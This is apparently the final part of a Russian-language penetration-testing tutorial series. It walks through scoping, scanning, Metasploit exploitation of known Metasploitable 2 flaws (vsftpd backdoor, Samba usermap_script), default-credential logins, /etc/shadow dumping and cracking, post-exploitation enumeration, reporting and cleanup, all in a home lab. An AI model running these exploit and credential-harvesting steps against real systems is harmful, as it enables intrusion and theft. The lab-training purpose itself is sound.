Путь хакера: серия из 5 частей
Часть 1: Введение → Часть 2: Мастерство Flipper → Часть 3: Основы Kali → Часть 4: Эксплуатация → Часть 5: Полный аудит
Вы начали эту серию, задаваясь вопросом, чем на самом деле занимаются хакеры. Вы узнали, что это не про толстовки с капюшоном и зелёный текст на экране. Это методичное решение задач. Вы клонировали пропуска, картографировали сети, перехватывали хэндшейки и получали шеллы на уязвимых машинах.
Теперь мы собираем всё воедино. Эта статья проведёт вас через полноценный тест на проникновение вымышленной цели. Каждая фаза, каждое решение, каждая находка задокументированы именно так, как это делает профессионал.
Сценарий
Клиент: Initech Labs (вымышленная небольшая IT-компания)
Область: Внутренний тест на проникновение
Цель: Выявить уязвимости и продемонстрировать потенциальное влияние на бизнес
Ваша цель: Ваша собственная лабораторная сеть (Kali + Metasploitable 2 + любые другие виртуальные машины, которые вы настроили)
Налейте кофе. Будет интересно.
Фаза 1: Предварительная подготовка
Прежде чем прикоснуться к клавиатуре, профессиональные пентестеры решают организационные вопросы. Пропустите этот этап, и вы не пентестер. Вы просто человек, совершающий преступления.
Звонок для определения области работ
В реальном проекте вы бы провели созвон с клиентом, чтобы выяснить:
- Что входит в область? Какие сети, диапазоны IP, приложения?
- Что за пределами области? Продуктивные системы? Сторонние сервисы?
- Окно тестирования? Когда можно тестировать? Только в рабочее время?
- Контактные лица? Кому звонить, если что-то сломается?
- Цели? Галочка для комплаенса или реальное улучшение безопасности?
Для вашей лаборатории
Область: Только ваша изолированная лабораторная сеть. За пределами области: Всё остальное на планете. Окно тестирования: Когда угодно. Цель: Учиться на практике.
Правила взаимодействия
У реальных проектов есть письменные правила. Вот что они обычно включают:
- Письмо об авторизации - Подписанный документ, подтверждающий ваше разрешение
- Процедуры эскалации - Что делать, если найдено что-то критическое
- Обработка данных - Как обращаться с конфиденциальными данными, которые вы обнаружите
- Требования по очистке - Удалить все инструменты и бэкдоры после завершения
- Сроки отчётности - Когда должен быть готов финальный отчёт?
Всегда получайте письменное разрешение
Даже для «дружеских» тестов в сети приятеля. Подписанное письмо со словами «вы имеете право тестировать мою сеть с ДАТЫ по ДАТУ» может стать разницей между учебным опытом и уголовным делом. Отнеситесь к этому серьёзно.
Фаза 2: Разведка
Время узнать всё о цели. В реальном проекте это включало бы OSINT (разведку по открытым источникам): поиск в Google, профили LinkedIn, сайты компаний, DNS-записи. В нашей лаборатории мы переходим сразу к активной разведке.
Шаг 1: Обнаружение сети
Первый вопрос: Что есть в этой сети?
1# Узнаём диапазон сети
2ip a | grep inet
3# Ищем что-то вроде: inet 192.168.56.100/24
4
5# Обнаруживаем все живые хосты
6sudo nmap -sn 192.168.56.0/24 -oA discovery
7
8# Результаты (пример):
9Nmap scan report for 192.168.56.1
10Host is up (0.00032s latency).
11Nmap scan report for 192.168.56.101
12Host is up (0.00089s latency).
13Nmap scan report for 192.168.56.102
14Host is up (0.00045s latency).Документируйте всё. Создайте заметку примерно такого вида:
1# Initech Labs - Обнаружение сети
2# Дата: 2026-03-08
3# Тестировщик: Ваше имя
4
5192.168.56.1 - Шлюз/Маршрутизатор
6192.168.56.101 - Неизвестно (требует изучения)
7192.168.56.102 - Неизвестно (требует изучения)Шаг 2: Сканирование портов
Теперь копаем глубже. Какие сервисы запущены?
1# Полное сканирование портов с определением сервисов
2sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101
3
4# Это занимает время. Для более быстрых результатов во время обучения:
5sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101На Metasploitable 2 вы увидите настоящую сокровищницу:
1PORT STATE SERVICE VERSION
221/tcp open ftp vsftpd 2.3.4
322/tcp open ssh OpenSSH 4.7p1
423/tcp open telnet Linux telnetd
525/tcp open smtp Postfix smtpd
680/tcp open http Apache httpd 2.2.8
7139/tcp open netbios-ssn Samba smbd 3.X
8445/tcp open netbios-ssn Samba smbd 3.X
93306/tcp open mysql MySQL 5.0.51a
105432/tcp open postgresql PostgreSQL DB
11...Какая открытость, Бэтмен. Обновляем наши заметки:
1192.168.56.101 - Linux-сервер (Metasploitable)
2 - FTP (21): vsftpd 2.3.4 # Известный бэкдор!
3 - SSH (22): OpenSSH 4.7p1 # Древний
4 - Telnet (23): Активен # Зачем это в 2026 году?
5 - HTTP (80): Apache 2.2.8 # Веб-приложения для тестирования
6 - SMB (139/445): Samba 3.X # Потенциальная золотая жила
7 - MySQL (3306): 5.0.51a # Доступ к базе данных?
8 - PostgreSQL (5432): Активен # Ещё одна БДШаг 3: Выявление уязвимостей
Время выяснить, что действительно можно эксплуатировать.
1# Запускаем скрипты для поиска уязвимостей
2sudo nmap --script vuln -oA vuln_scan 192.168.56.101
3
4# Проверяем конкретные сервисы в Metasploit
5msfconsole
6msf6 > search vsftpd
7msf6 > search samba 3
8msf6 > search apache 2.2Бэкдор vsftpd 2.3.4 сразу бросается в глаза. Это гарантированный шелл. Но хороший пентестер не останавливается на первой находке. Вы документируете всё.
Фаза 3: Эксплуатация
Здесь всё становится интересным. У нас есть несколько потенциальных точек входа. Давайте систематически их проработаем.
Вектор атаки 1: Бэкдор FTP
1msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2msf6 exploit(...) > set RHOSTS 192.168.56.101
3msf6 exploit(...) > exploit
4
5[*] Banner: 220 (vsFTPd 2.3.4)
6[*] USER: 331 Please specify the password.
7[+] Backdoor service has been spawned
8[+] Command shell session 1 opened
9
10whoami
11root
12
13id
14uid=0(root) gid=0(root)Находка задокументирована: Получен root-шелл через бэкдор FTP. Время от первого сканирования до полной компрометации: примерно 10 минут.
Но мы не останавливаемся. Куда ещё можно проникнуть?
Вектор атаки 2: Samba
1# Отправляем текущую сессию в фон
2background
3
4msf6 > use exploit/multi/samba/usermap_script
5msf6 exploit(...) > set RHOSTS 192.168.56.101
6msf6 exploit(...) > exploit
7
8[*] Command shell session 2 opened
9
10whoami
11rootЕщё один root-шелл через другой вектор. Это два независимых пути к полной компрометации.
Вектор атаки 3: Веб-приложения
Давайте проверим, что работает на порту 80.
1# Перечисляем веб-директории
2gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
3
4# Результаты:
5/cgi-bin/ (Status: 403)
6/dav/ (Status: 301)
7/icons/ (Status: 301)
8/index (Status: 200)
9/phpMyAdmin/ (Status: 301)
10/phpinfo (Status: 200)
11/test/ (Status: 301)
12/twiki/ (Status: 301)
13
14# Запускаем nikto для дополнительных находок
15nikto -h http://192.168.56.101phpMyAdmin с учётными данными по умолчанию? Проверим:
1# Пробуем стандартные учётные данные
2Username: root
3Password: (пусто)
4
5# Доступ получен!Административный доступ к базе данных без пароля. Отсюда мы могли бы выгрузить все данные, изменить записи или использовать файловые операции MySQL для записи веб-шелла.
Вектор атаки 4: Слабые учётные данные SSH
1msf6 > use auxiliary/scanner/ssh/ssh_login
2msf6 auxiliary(...) > set RHOSTS 192.168.56.101
3msf6 auxiliary(...) > set USERNAME msfadmin
4msf6 auxiliary(...) > set PASSWORD msfadmin
5msf6 auxiliary(...) > run
6
7[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'Слабые учётные данные дают доступ по SSH. Не root, но мы разберёмся с этим в пост-эксплуатации.
Фаза 4: Пост-эксплуатация
Мы получили доступ. Что дальше? Настоящий тест на проникновение демонстрирует влияние на бизнес. Что атакующий реально МОЖЕТ СДЕЛАТЬ с этим доступом?
Сбор учётных данных
1# Из нашего root-шелла
2cat /etc/shadow
3root:$1$xyz...truncated...:14889:0:99999:7:::
4msfadmin:$1$abc...truncated...:14889:0:99999:7:::
5user:$1$def...truncated...:14889:0:99999:7:::
6postgres:$1$ghi...truncated...:14889:0:99999:7:::
7
8# Сохраняем для офлайн-взлома
9cat /etc/passwd > /tmp/passwd.txt
10cat /etc/shadow > /tmp/shadow.txt
11
12# На Kali взламываем их
13unshadow passwd.txt shadow.txt > combined.txt
14john --wordlist=/usr/share/wordlists/rockyou.txt combined.txtРазведка сети (изнутри)
1# Какие другие сети доступны с этой машины?
2ifconfig
3route -n
4cat /etc/hosts
5arp -a
6
7# Что подключается к этой машине?
8netstat -tulpn
9ss -tulpn
10
11# Ищем SSH-ключи (для бокового перемещения)
12find / -name "id_rsa" 2>/dev/null
13find / -name "authorized_keys" 2>/dev/nullОбнаружение конфиденциальных данных
1# Ищем интересные файлы
2find / -name "*.conf" 2>/dev/null | head -20
3find / -name "*.sql" 2>/dev/null
4find / -name "*.bak" 2>/dev/null
5find / -name "*password*" 2>/dev/null
6
7# Проверяем типичные расположения конфигов
8cat /var/www/*/config.php 2>/dev/null
9cat /etc/mysql/my.cnf
10
11# Перечисление баз данных
12mysql -u root -p # Пробуем пустой пароль
13mysql> SHOW DATABASES;
14mysql> SELECT * FROM mysql.user;Повышение привилегий (от msfadmin)
Помните тот вход по SSH как msfadmin? Давайте повысим привилегии до root, используя то, что мы узнали в Части 4.
1# Подключаемся по SSH как msfadmin
2ssh [email protected]
3
4# Проверяем разрешения sudo
5sudo -l
6# (Вывод может различаться, но проверим другие векторы)
7
8# Ищем SUID-бинарники
9find / -perm -4000 2>/dev/null
10
11# Ищем записываемые скрипты, запускаемые от root
12cat /etc/crontab
13
14# Загружаем и запускаем LinPEAS для комплексной проверки
15# (В реальном сценарии уже рассмотрено в Части 4)Фаза 5: Документация и результаты
Тест бесполезен без отчёта. Именно это отличает профессионалов от скрипт-кидди. Вам нужно объяснить, что вы нашли, почему это важно и как это исправить.
Сводка результатов
Вот что мы обнаружили в сети «Initech Labs», оформленное так, как это выглядело бы в реальном отчёте:
КРИТИЧНО: Бэкдор FTP-сервиса (CVE-2011-2523)
Затронутая система: 192.168.56.101
Риск: Удалённое выполнение кода без аутентификации с правами root
Доказательство: Полный root-шелл получен менее чем за 60 секунд
Рекомендация: Немедленно обновить vsftpd до текущей версии или полностью отключить FTP-сервис.
КРИТИЧНО: Удалённое выполнение кода через Samba
Затронутая система: 192.168.56.101
Риск: Удалённое выполнение кода без аутентификации с правами root
Доказательство: Полный root-шелл получен через эксплойт usermap_script
Рекомендация: Обновить Samba до текущей версии. Ограничить доступ к SMB только необходимыми системами.
ВЫСОКО: Доступ к MySQL под root без пароля
Затронутая система: 192.168.56.101
Риск: Полная компрометация базы данных, кража данных, развёртывание веб-шелла
Доказательство: Вход под root с пустым паролем через phpMyAdmin
Рекомендация: Установить надёжный пароль для root. Ограничить доступ к phpMyAdmin. Рассмотреть полное удаление phpMyAdmin.
ВЫСОКО: Слабые учётные данные SSH
Затронутая система: 192.168.56.101
Риск: Аутентифицированный доступ, ведущий к повышению привилегий
Доказательство: msfadmin:msfadmin успешно прошёл аутентификацию
Рекомендация: Внедрить политику надёжных паролей. Реализовать аутентификацию по SSH-ключам. Рассмотреть fail2ban.
СРЕДНЕ: Включён сервис Telnet
Затронутая система: 192.168.56.101
Риск: Учётные данные передаются в открытом виде
Доказательство: Порт 23 открыт и принимает подключения
Рекомендация: Отключить Telnet. Использовать SSH для всего удалённого администрирования.
НИЗКО: Открытая страница phpinfo()
Затронутая система: 192.168.56.101
Риск: Раскрытие информации помогает дальнейшим атакам
Доказательство: http://192.168.56.101/phpinfo доступен без аутентификации
Рекомендация: Удалить или ограничить доступ к страницам phpinfo.
Резюме для руководства
Это то, что руководители действительно читают. Коротко, по делу и без жаргона:
Резюме для руководства
В ходе теста на проникновение внутренней сети Initech Labs команда безопасности получила полный административный контроль над основным сервером в течение 10 минут с начала оценки.
Ключевые результаты:
- 2 критические уязвимости, позволяющие немедленный удалённый захват
- 2 уязвимости высокой степени, раскрывающие базы данных и учётные данные пользователей
- Множественные находки средней и низкой степени, указывающие на системные пробелы в безопасности
Итог: Атакующий с базовыми навыками мог бы полностью скомпрометировать эту систему за считанные минуты. Требуется немедленное исправление всех критических и высоких находок. Рекомендуется повторная оценка после применения исправлений.
Фаза 6: Очистка и завершение
Профессиональный пентестер оставляет среду точно в том состоянии, в котором нашёл.
1# Документируем все сессии
2msf6 > sessions -l
3
4# Завершаем все сессии
5msf6 > sessions -K
6
7# На цели (если вы создавали какие-либо файлы):
8rm /tmp/linpeas.sh
9rm /tmp/*.txt
10
11# Удаляем любых созданных пользователей
12userdel testuser
13
14# Удаляем любые добавленные SSH-ключи
15rm /home/*/.ssh/authorized_keys
16
17# Документируем всё, что удалилиВ реальном проекте вы бы также:
- Удалили все инструменты, загруженные во время тестирования
- Задокументировали любые изменения, внесённые в среду
- Предоставили хэши/контрольные суммы любых извлечённых данных
- Безопасно уничтожили все данные клиента после сдачи отчёта
Полный чек-лист методологии
Вот ваш многоразовый рабочий процесс для любого теста на проникновение:
Методология тестирования на проникновение
- Предварительная подготовка
- Определить область и правила взаимодействия
- Получить письменное разрешение
- Установить каналы коммуникации
- Настроить среду тестирования
- Разведка
- Обнаружение сети (перечисление хостов)
- Сканирование портов и определение сервисов
- Сканирование уязвимостей
- Перечисление веб-приложений
- Документировать всё
- Эксплуатация
- Проверить уязвимости (не доверять сканерам слепо)
- Эксплуатировать подтверждённые уязвимости
- Документировать каждую успешную компрометацию
- Фиксировать доказательства (скриншоты, логи)
- Пост-эксплуатация
- Перечислить данные скомпрометированной системы
- Собрать учётные данные
- Выявить конфиденциальные данные
- Попытаться повысить привилегии
- Искать возможности бокового перемещения
- Отчётность
- Написать резюме для руководства (влияние на бизнес)
- Задокументировать все находки с доказательствами
- Предоставить рекомендации по исправлению
- Включить технические детали для IT-команд
- Очистка
- Удалить все инструменты и артефакты
- Завершить все сессии и бэкдоры
- Задокументировать любые изменения среды
- Безопасно обработать данные клиента
Что дальше: Ваш путь вперёд
Вы прошли «Путь хакера». Вы прошли от «а что вообще такое хакинг» до проведения полноценного теста на проникновение. Это действительно впечатляет.
Но это только начало. Вот куда двигаться дальше:
Платформы для практики
- Hack The Box - Реалистичные машины для практики. Начните с «Easy» в архиве.
- TryHackMe - Пошаговые учебные маршруты. Отлично подходят для структурированного развития.
- VulnHub - Бесплатные уязвимые ВМ для скачивания и практики локально.
- PentesterLab - Фокус на безопасности веб-приложений.
Сертификации (если вам нужны)
- eJPT (eLearnSecurity Junior Penetration Tester) - Отличная стартовая точка, практический экзамен
- OSCP (Offensive Security Certified Professional) - Отраслевой стандарт, жёсткий, но уважаемый
- PNPT (Practical Network Penetration Tester) - Современный, практичный, включает написание отчётов
- CEH (Certified Ethical Hacker) - Галочка для корпоративных вакансий, менее практичный
Специализации
- Безопасность веб-приложений - OWASP, Burp Suite, SQL-инъекции, XSS
- Active Directory - Большинство корпоративных сред работают на нём
- Облачная безопасность - Пентестинг AWS, Azure, GCP
- Мобильная безопасность - Тестирование приложений Android/iOS
- Red Teaming - Полная симуляция противника, физическая + цифровая
- Обратная разработка - Анализ вредоносного ПО, разработка эксплойтов
Постройте домашнюю лабораторию
Лучшие пентестеры имеют продвинутые домашние лаборатории. Начните просто и расширяйте:
- Добавьте Windows Server с Active Directory
- Настройте контроллер домена
- Разверните уязвимые веб-приложения (DVWA, bWAPP, WebGoat)
- Постройте сеть с несколькими сегментами
- Добавьте HoneyAegis, чтобы увидеть атаки с точки зрения защитника
Путь хакера: Завершён
Вы справились. Все пять частей, от любопытства до компетентности.
Часть 1: Введение Часть 2: Мастерство Flipper Часть 3: Основы Kali Часть 4: Эксплуатация Часть 5: Полный аудит
Серия завершена - Ваш путь
Часть 1: Вы узнали, что такое хакинг на самом деле, и получили первые победы с Flipper Zero
Часть 2: Вы освоили все протоколы Flipper: Sub-GHz, RFID, NFC, BadUSB, GPIO
Часть 3: Вы построили лабораторию Kali, изучили nmap и перехватили WiFi-хэндшейки
Часть 4: Вы освоили Metasploit, эксплуатацию, повышение привилегий и пивотинг
Часть 5: Вы собрали всё воедино в полноценную методологию тестирования на проникновение
Безопасность - это не пункт назначения. Это практика. Инструменты будут меняться, уязвимости эволюционировать, но методология остаётся прежней. Подвергайте всё сомнению. Документируйте всё. Никогда не прекращайте учиться.
Добро пожаловать на другую сторону.
- Lee